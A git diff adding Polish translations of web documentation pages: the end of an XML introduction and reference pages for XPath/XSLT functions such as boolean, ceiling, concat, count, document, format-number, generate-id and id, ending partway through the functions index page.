inteligentnie opisuje informację, pozwala na wygodną pielęgnację oraz adaptację kodu. +</p><p>XML różni się też od HTML-a tym, że HTML jest językiem prezentacji, a XML językiem ogólnego zastosowania. Te dwa języki mogą zostać użyte na raz dzięki <a href="pl/XSLT">XSLT</a>. +</p> +<h3 id=".22Poprawny.22_XML"> "Poprawny" XML </h3> +<p>Aby dokument XML był poprawny, musi zostać poprawnie sformatowany i spełniać wszystkie zasady składni XML-a. Większość przeglądarek, włączając w to Mozillę posiada debugger, który potrafi pokazać błędy składniowe dokumentu. +</p> +<h3 id="Prezentacja_XML-a"> Prezentacja XML-a </h3> +<p>Są dwie metody na korzystanie z XML-a do prezentacji danych. +</p><p>Pierwsza, to skorzystanie z technologii CSS do formatowania danych XML. +</p> +<pre><?xml-stylesheet type="text/css" href="stylesheet.css"?></pre> +<p>Druga, to skorzystanie z potęgi XSLT, który jest w stanie transformować składnię XML do ogromnej ilości innych formatów (PDF, HTML, obrazki, WAP itd.). +</p> +<pre><?xml-stylesheet type="text/xsl" href="transform.xsl"?></pre> +<h3 id="Zalecenia"> Zalecenia </h3> +<p>Polecamy przeczytanie innych poradników do <a href="pl/XML">XML</a>-a i odświeżenie wiedzy na temat jego składni. Należy pamiętać, że ten poradnik jest tylko krótkim wstępem dla osób, które nigdy nie zetknęły się z językiem XML lub innymi językami znacznikowymi. +</p><p>Warto nauczyć się języka HTML, aby lepiej zrozumieć XML, lub zapoznać się z innymi przewodnikami z tej strony. +</p> +<div class="originaldocinfo"> +<h3 id="Informacja_o_wersji"> Informacja o wersji </h3> +<ul><li> Autor: Justin G. Shreve +</li><li> Ostatnia aktualizacja: 19 Maja +</li><li> Tłumaczenie: Zbigniew Braniecki +</li></ul> +</div> +{{ languages( { "en": "en/XML_Introduction", "es": "es/Introducci\u00f3n_a_XML", "fr": "fr/Introduction_\u00e0_XML", "ja": "ja/XML_Introduction", "zh-cn": "cn/XML_\u4ecb\u7ecd" } ) }} diff --git a/files/pl/web/xpath/funkcje/boolean/index.html b/files/pl/web/xpath/funkcje/boolean/index.html new file mode 100644 index 0000000000..15009d3c16 --- /dev/null +++ b/files/pl/web/xpath/funkcje/boolean/index.html @@ -0,0 +1,38 @@ +--- +title: boolean +slug: Web/XPath/Funkcje/boolean +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/boolean +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>boolean</code> ocenia wyrażenie i zwraca prawdę (<code>true</code>) lub fałsz (<code>false</code>). +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">boolean( <i>wyrażenie</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>wyrażenie</i></code> +</dt><dd>Oceniane wyrażenie. Wyrażenie może odnosić się zarówno do liczb, jak i do zestawów wierzchołków tak samo jak do wartości logicznych. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Wartość logiczną <code>true</code> lub <code>false</code> po ocenie <code><i>wyrażenie</i></code>. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Fałsz, jeśli liczba jest zerem lub <code>NaN</code> (nie jest liczbą). Inaczej jest prawdą. +</li><li> Wierzchołek jest oceniany jako prawda, jeśli nie jest on pusty. </li><li> Fałsz, jeśli łańcuch znaków jest pusty. Inaczej jest prawdą. +</li><li> Typ obiektu inny niż cztery typy podstawowe jest konwertowany do wartości logicznej w sposób zależny od tego typu. +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-boolean" class="external">XPath 1.0 4.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/boolean", "fr": "fr/XPath/Fonctions/boolean", "ja": "ja/XPath/Functions/boolean" } ) }} diff --git a/files/pl/web/xpath/funkcje/ceiling/index.html b/files/pl/web/xpath/funkcje/ceiling/index.html new file mode 100644 index 0000000000..ddfd5595e4 --- /dev/null +++ b/files/pl/web/xpath/funkcje/ceiling/index.html @@ -0,0 +1,36 @@ +--- +title: ceiling +slug: Web/XPath/Funkcje/ceiling +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/ceiling +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>ceiling</code> ocenia liczbę dziesiętną i zwraca najmniejszą liczbę całkowitą większą lub równą podanej liczbie dziesiętnej. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">ceiling( <i>liczba</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>liczba</i></code> +</dt><dd>Oceniana liczba. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Najbliższą liczbę całkowitą większą lub równą <code><i>liczba</i></code>. +</p> +<p>Przykładowo:</p> +<p><code> ceiling (<i>5.2</i>)</code> = <var>6</var></p> +<p><code> ceiling (<i>-5.2</i>)</code> = <var>-5</var></p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-ceiling" class="external">XPath 1.0 4.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/ceiling", "fr": "fr/XPath/Fonctions/ceiling", "ja": "ja/XPath/Functions/ceiling" } ) }} diff --git a/files/pl/web/xpath/funkcje/concat/index.html b/files/pl/web/xpath/funkcje/concat/index.html new file mode 100644 index 0000000000..35a0d5f932 --- /dev/null +++ b/files/pl/web/xpath/funkcje/concat/index.html @@ -0,0 +1,31 @@ +--- +title: concat +slug: Web/XPath/Funkcje/concat +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/concat +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>concat</code> łączy dwa lub więcej ciągów i zwraca łańcuch znaków będący wynikiem takiego łączenia. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">concat( <i>string<sub>1</sub></i> , <i>string<sub>2</sub></i> [, <i>string<sub>n</sub></i>]* ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>string<sub>n</sub></i></code> +</dt><dd>Ta funkcja przyjmuje dwa lub więcej argumentów. Każdy jego argument jest łańcuchem znaków. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Pojedynczy łańcuch znaków będący połączeniem wszystkich ciągów przekazanych funkcji jako argumenty. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-concat" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/concat", "fr": "fr/XPath/Fonctions/concat", "ja": "ja/XPath/Functions/concat" } ) }} diff --git a/files/pl/web/xpath/funkcje/contains/index.html b/files/pl/web/xpath/funkcje/contains/index.html new file mode 100644 index 0000000000..e295462b27 --- /dev/null +++ b/files/pl/web/xpath/funkcje/contains/index.html @@ -0,0 +1,36 @@ +--- +title: contains +slug: Web/XPath/Funkcje/contains +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/contains +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>contains</code> określa, czy w pierwszym argumencie ciągu jest zawarty drugi argument ciągu i zwraca prawdę lub fałsz. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">contains( <i>stóg siana</i> , <i>igła</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>stóg siana</i></code> +</dt><dd>Ciąg przeszukiwany +</dd></dl> +<dl><dt><code><i>igła</i></code> +</dt><dd>Ciąg szukany jako podciąg <code><i>stóg siana</i></code> +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p><code>True</code>, jeśli <code><i>stóg siana</i></code> zawiera <code><i>igła</i></code>. W innym przypadku <code>false</code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-contains" class="external">XPath 1.0 4.2</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/contains", "es": "es/XPath/Funciones/contains", "fr": "fr/XPath/Fonctions/contains", "ja": "ja/XPath/Functions/contains" } ) }} diff --git a/files/pl/web/xpath/funkcje/count/index.html b/files/pl/web/xpath/funkcje/count/index.html new file mode 100644 index 0000000000..5be5ce5039 --- /dev/null +++ b/files/pl/web/xpath/funkcje/count/index.html @@ -0,0 +1,33 @@ +--- +title: count +slug: Web/XPath/Funkcje/count +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/count +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>count</code> zlicza liczbę wierzchołków w zbiorze <code>zbiór_wierzchołków</code> i zwraca liczbę całkowitą. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">count( <i>zbiór_wierzchołków</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>zbiór_wierzchołków</i></code> +</dt><dd>Zbiór wierzchołków do zliczenia. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Liczbę całkowitą reprezentującą liczbę wierzchołków w zbiorze <code>zbiór_wierzchołków</code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-count" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/count", "fr": "fr/XPath/Fonctions/count", "ja": "ja/XPath/Functions/count" } ) }} diff --git a/files/pl/web/xpath/funkcje/current/index.html b/files/pl/web/xpath/funkcje/current/index.html new file mode 100644 index 0000000000..cb3752d7eb --- /dev/null +++ b/files/pl/web/xpath/funkcje/current/index.html @@ -0,0 +1,30 @@ +--- +title: current +slug: Web/XPath/Funkcje/current +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/current +--- +<p> +{{ XsltRef() }} +</p><p>Funkcja <code>current</code> może zostać użyta do pobrania wierzchołka kontekstowego w instrukcji XSTL. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">current() +</pre> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Zbiór wierzchołków zawierający wyłącznie aktualny wierzchołek. </p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. </p><p>Aktualny wierzchołek jest zawsze taki sam jak wierzchołek kontekstowy. Następujące dwie funkcje są semantycznie równoważne. </p> +<pre class="eval"><xsl:value-of select="current()"/> +</pre> +<pre class="eval"><xsl:value-of select="."/> +</pre> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-current" class="external">XSLT 1.0 12.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/current", "fr": "fr/XPath/Fonctions/current" } ) }} diff --git a/files/pl/web/xpath/funkcje/document/index.html b/files/pl/web/xpath/funkcje/document/index.html new file mode 100644 index 0000000000..c69211937f --- /dev/null +++ b/files/pl/web/xpath/funkcje/document/index.html @@ -0,0 +1,42 @@ +--- +title: document +slug: Web/XPath/Funkcje/document +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/document +--- +<p> +{{ XsltRef() }} +</p><p><br> +<code>document</code> znajduje zbiór wierzchołków w jednym lub wielu zewnętrznych dokumentach i zwraca wynik jako zbiór wierzchołków. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">document( <i>URI</i> [, <i>zbiór_wierzchołków</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>URI</i></code> +</dt><dd> Bezwzględny lub relatywny adres URI dokumentu do pobrania. URI może także zawierać identyfikator fragmentu. </dd></dl> +<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny) +</dt><dd>Wyrażenie wskazujące zbiór wierzchołków zewnętrznego dokumentu, który powinien zostać zwrócony. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Zbiór wierzchołków. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Jeśli URI zawiera identyfikator fragmentu i fragment ten może zostać zidentyfikowany w dokumencie zewnętrznym, będzie on uważany za główny w wyrażeniu argumentu <code><i>zbiór_wierzchołków</i></code>. Jeśli argument <code><i>zbiór_wierzchołków</i></code> jest pominięty, zwrócony zostanie cały fragment. +</li></ul> +<ul><li> Jeśli argument <code><i>URI</i></code> jest zbiorem wierzchołków i obecny jest drugi argument, każdy wierzchołek w zbiorze wierzchołków zostanie przetworzony jako oddzielny adres URI, a zwrócony zbiór wierzchołków będzie taki, jak gdyby funkcja <code>document</code> została wywołana wielokrotnie, przy czym wynikowe zbiory wierzchołków zostaną połączone w pojedynczy zbiór wierzchołków. +</li></ul> +<ul><li> Pozostałe specyficzne warunki istnieją wraz z określonymi zachowaniami. Zobacz dokumentację XSLT 1.0, aby uzyskać szczegóły. +</li></ul> +<ul><li> Gdy adres URI jest względny wobec dokumentu XSL, <code>document("")</code> zwróci wierzchołek główny aktualnego dokumentu. +</li></ul> +<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-document" class="external">XSLT 1.0 12.1</a> +</p> +<h3 id="Obs.C5.82uga_Gecko" name="Obs.C5.82uga_Gecko"> Obsługa Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/document", "fr": "fr/XPath/Fonctions/document" } ) }} diff --git a/files/pl/web/xpath/funkcje/element-available/index.html b/files/pl/web/xpath/funkcje/element-available/index.html new file mode 100644 index 0000000000..59948e8acd --- /dev/null +++ b/files/pl/web/xpath/funkcje/element-available/index.html @@ -0,0 +1,30 @@ +--- +title: element-available +slug: Web/XPath/Funkcje/element-available +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/element-available +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>element-available</code> określa czy element jest dostępny i zwraca prawdę lub fałsz. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">element-available( <i>QName</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>QName</i></code> +</dt><dd>Musi być prawidłową nazwę (QName). QName jest rozwijany do nazwy za pomocą deklaracji przestrzeni nazw w zasięgu wyrażenia. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Zwraca prawdę wtedy i tylko wtedy, gdy rozszerzona nazwa jest nazwą instrukcji. Jeśli rozszerzona nazwa posiada URI przestrzeni nazw identyczny z URI przestrzeni nazw XSLT, to odnosi się ona do elementu zdefiniowanego przez XSLT. W przeciwnym wypadku odnosi się ona do elementu rozszerzenia. Jeśli rozszerzona nazwa posiada puste URI przestrzeni nazw, funkcja zwróci wartość fałsz. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-element-available" class="external">XSLT 1.0 15</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/element-available", "fr": "fr/XPath/Fonctions/element-available" } ) }} diff --git a/files/pl/web/xpath/funkcje/false/index.html b/files/pl/web/xpath/funkcje/false/index.html new file mode 100644 index 0000000000..9eb932a51b --- /dev/null +++ b/files/pl/web/xpath/funkcje/false/index.html @@ -0,0 +1,37 @@ +--- +title: 'false' +slug: Web/XPath/Funkcje/false +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/false +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>false</code> zwraca wartość logiczną <i>fałsz</i>. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">false() +</pre> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Wartość logiczną <code>false</code>. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p>Ta funkcja jest użyteczna jako część porównania: +</p> +<pre class="eval"><xsl:if test="boolean((1 &gt; 2) = false())"> + Wyrażenie jest ocenione jako true +</xsl:if> +</pre> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-false" class="external">XPath 1.0 4.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/false", "fr": "fr/XPath/Fonctions/false", "ja": "ja/XPath/Functions/false" } ) }} diff --git a/files/pl/web/xpath/funkcje/floor/index.html b/files/pl/web/xpath/funkcje/floor/index.html new file mode 100644 index 0000000000..1d82807ae2 --- /dev/null +++ b/files/pl/web/xpath/funkcje/floor/index.html @@ -0,0 +1,33 @@ +--- +title: floor +slug: Web/XPath/Funkcje/floor +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/floor +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>floor</code> ocenia liczbę dziesiętną i zwraca największą liczbę całkowitą mniejszą lub równą podanej liczbie dziesiętnej. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">floor( <i>liczba</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>liczba</i></code> +</dt><dd>Oceniana liczba dziesiętna. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Najbliższą liczbę całkowitą mniejszą lub równą wartości <code><i>liczba</i></code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-floor" class="external">XPath 1.0 4.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/floor", "fr": "fr/XPath/Fonctions/floor", "ja": "ja/XPath/Functions/floor" } ) }} diff --git a/files/pl/web/xpath/funkcje/format-number/index.html b/files/pl/web/xpath/funkcje/format-number/index.html new file mode 100644 index 0000000000..5801ec3064 --- /dev/null +++ b/files/pl/web/xpath/funkcje/format-number/index.html @@ -0,0 +1,38 @@ +--- +title: format-number +slug: Web/XPath/Funkcje/format-number +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/format-number +--- +<p> +{{ XsltRef() }} +</p><p><br> +</p><p>Funkcja <code>format-number</code> ocenia liczbę i zwraca łańcuch znaków reprezentujący liczbę w podanym formacie. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">format-number( <i>liczba</i> , <i>wzorzec</i> [, <i>format_dziesiętny</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>liczba</i></code> +</dt><dd>Liczba do sformatowania +</dd></dl> +<dl><dt><code><i>wzorzec</i></code> +</dt><dd>Łańcuch znaków w formacie klasy DecimalFormat <a href="http://java.sun.com/products/archive/jdk/1.1/" class="external">JDK 1.1</a> (Dokumentacja JDK 1.1 nie jest dostępna. Dostępne są informacje dotyczące <a href="http://java.sun.com/javase/6/docs/api/java/text/DecimalFormat.html" class="external">Java SE 6 DecimalFormat</a>.). +</dd></dl> +<dl><dt><code><i>format_dziesiętny</i></code> (opcjonalnie) +</dt><dd>Nazwa elementu <code><a href="pl/XSLT/decimal-format"> xsl:decimal-format</a></code> definiująca format liczby, który ma zostać użyty. Jeśli argument zostanie pominięty, użyty zostanie format dziesiętny. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków reprezentujący liczbę w nowym formacie. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-format-number" class="external">XSLT 1.0 12.3</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/format-number", "fr": "fr/XPath/Fonctions/format-number" } ) }} diff --git a/files/pl/web/xpath/funkcje/function-available/index.html b/files/pl/web/xpath/funkcje/function-available/index.html new file mode 100644 index 0000000000..db24249160 --- /dev/null +++ b/files/pl/web/xpath/funkcje/function-available/index.html @@ -0,0 +1,29 @@ +--- +title: function-available +slug: Web/XPath/Funkcje/function-available +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/function-available +--- +<p> +{{ XsltRef() }} +</p><p><br> +</p><p>Funkcja <code>function-available</code> określa czy podana funkcja jest dostępna i zwraca wartość logiczną prawda lub fałsz. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">function-available( <i>nazwa</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>name</i></code> +</dt><dd>Nazwa funkcji do ocenienia. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Wartość logiczną <code>true</code> lub <code>false</code>. +</p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-function-available" class="external">XPath 1.0 15</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/function-available", "fr": "fr/XPath/Fonctions/function-available" } ) }} diff --git a/files/pl/web/xpath/funkcje/generate-id/index.html b/files/pl/web/xpath/funkcje/generate-id/index.html new file mode 100644 index 0000000000..92ba7a2774 --- /dev/null +++ b/files/pl/web/xpath/funkcje/generate-id/index.html @@ -0,0 +1,36 @@ +--- +title: generate-id +slug: Web/XPath/Funkcje/generate-id +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/generate-id +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>generate-id</code> generuje unikatowy identyfikator dla pierwszego wierzchołka w podanym zbiorze wierzchołków i zwraca łańcuch znaków zawierający ten identyfikator. </p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">generate-id( [<i>zbiór_wierzchołków</i>] ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>zbiór_wierzchołków</i></code> (opcjonalny) +</dt><dd>Zostanie wygenerowany identyfikator dla pierwszego wierzchołka tego zbioru wierzchołków. Jeśli argument zostanie pominięty, zostanie użyty aktualny wierzchołek kontekstu. +</dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Łańcuch znaków zawierający wygenerowany identyfikator. +</p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> Ten sam identyfikator musi zostać wygenerowany każdorazowo dla tego samego wierzchołka w aktualnym dokumencie aktualnej transformacji. +</li></ul> +<ul><li> Wygenerowany identyfikator nie może być taki sam w kolejnej transformacji. +</li></ul> +<p>Ta funkcja jest specyficznym dla XSLT dodatkiem do XPath. Nie jest częścią głównej biblioteki funkcji XPath. </p> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xslt#function-generate-id" class="external">XSLT 1.0 12.4</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Obsługuje. +</p>{{ languages( { "en": "en/XPath/Functions/generate-id", "fr": "fr/XPath/Fonctions/generate-id" } ) }} diff --git a/files/pl/web/xpath/funkcje/id/index.html b/files/pl/web/xpath/funkcje/id/index.html new file mode 100644 index 0000000000..8473cb77f6 --- /dev/null +++ b/files/pl/web/xpath/funkcje/id/index.html @@ -0,0 +1,36 @@ +--- +title: id +slug: Web/XPath/Funkcje/id +tags: + - Dokumentacje + - Wszystkie_kategorie + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions/id +--- +<p> +{{ XsltRef() }} +</p><p><br> +Funkcja <code>id</code> znajduje wierzchołki, które odpowiadają podanym identyfikatorom i zwraca zbiór wierzchołków zawierający zidentyfikowane wierzchołki. +</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3> +<pre class="eval">id( <i>wyrażenie</i> ) +</pre> +<h3 id="Argumenty" name="Argumenty"> Argumenty </h3> +<dl><dt><code><i>wyrażenie</i></code> +</dt><dd>Jeśli <code><i>wyrażenie</i></code> jest zbiorem wierzchołków, to wartość łańcucha znaków każdego wierzchołka w zbiorze wierzchołków jest traktowana jako odrębny identyfikator. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom. </dd></dl> +<dl><dd>Jeśli <code><i>wyrażenie</i></code> jest łańcuchem znaków lub czymkolwiek innym niż zbiór wierzchołków, to <code><i>wyrażenie</i></code> jest traktowane jako lista identyfikatorów oddzielonych za pomocą spacji. Zwrócony zbiór wierzchołków to wierzchołki odpowiadające tym identyfikatorom. </dd></dl> +<h3 id="Zwraca" name="Zwraca"> Zwraca </h3> +<p>Zbiór wierzchołków zawierajacy wierzchołek lub wierzchołki zidentyfikowane za pomocą podanego identyfikatora lub identyfikatorów. </p> +<h3 id="Uwagi" name="Uwagi"> Uwagi </h3> +<ul><li> DTD dokumentu XML określa jakim atrybutem jest ID. Zobacz <a href="http://www.w3.org/TR/xpath#unique-id" class="external">XPath 1.0 5.2.1</a> +</li></ul> +<h3 id="Definicja" name="Definicja"> Definicja </h3> +<p><a href="http://www.w3.org/TR/xpath#function-id" class="external">XPath 1.0 4.1</a> +</p> +<h3 id="Gecko" name="Gecko"> Gecko </h3> +<p>Częściowo obsługuje. +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/XPath/Functions/id", "fr": "fr/XPath/Fonctions/id", "ja": "ja/XPath/Functions/id" } ) }} diff --git a/files/pl/web/xpath/funkcje/index.html b/files/pl/web/xpath/funkcje/index.html new file mode 100644 index 0000000000..0ea3d23bfa --- /dev/null +++ b/files/pl/web/xpath/funkcje/index.html @@ -0,0 +1,55 @@ +--- +title: Funkcje +slug: Web/XPath/Funkcje +tags: + - Dokumentacje + - Wszystkie_kategorie + - XPath + - XSLT + - 'XSLT:Dokumentacje' +translation_of: Web/XPath/Functions +--- +<p>{{ XsltRef() }} Poniżej znajduje się lista objaśnionych funkcji głównych <a href="/pl/docs/XPath">XPath</a> i specyficznych dla <a href="pl/XSLT">XSLT</a> dodatków do XPath, włączając opis, składnię, listę argumentów, typ wyniku oraz źródło w odpowiedniej rekomendacji W3C i stopień aktualnej obsługi przez <a href="/pl/docs/Gecko">Gecko</a>. Aby uzyskać więcej informacji na temat zastosowania funkcji XPath/XSLT, przejdź na stronę: <a href="/pl/docs/Transformacje_XML_z_XSLT/Przeczytaj_wi%c4%99cej">Przeczytaj więcej</a>.</p> + +<ul> + <li><a href="/pl/docs/XPath/Funkcje/boolean">boolean()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/ceiling">ceiling()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/concat">concat()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/contains">contains()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/count">count()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/current">current()</a><em> specyficzna dla XSLT</em></li> + <li><a href="/pl/docs/XPath/Funkcje/document">document()</a><em> specyficzna dla XSLT</em></li> + <li><a href="/pl/docs//XPath/Funkcje/element-available">element-available()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/false">false()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/floor">floor()</a></li> + <li><a href="/pl/docs/XPath/Funkcje/format-number">format-number()</a><em> 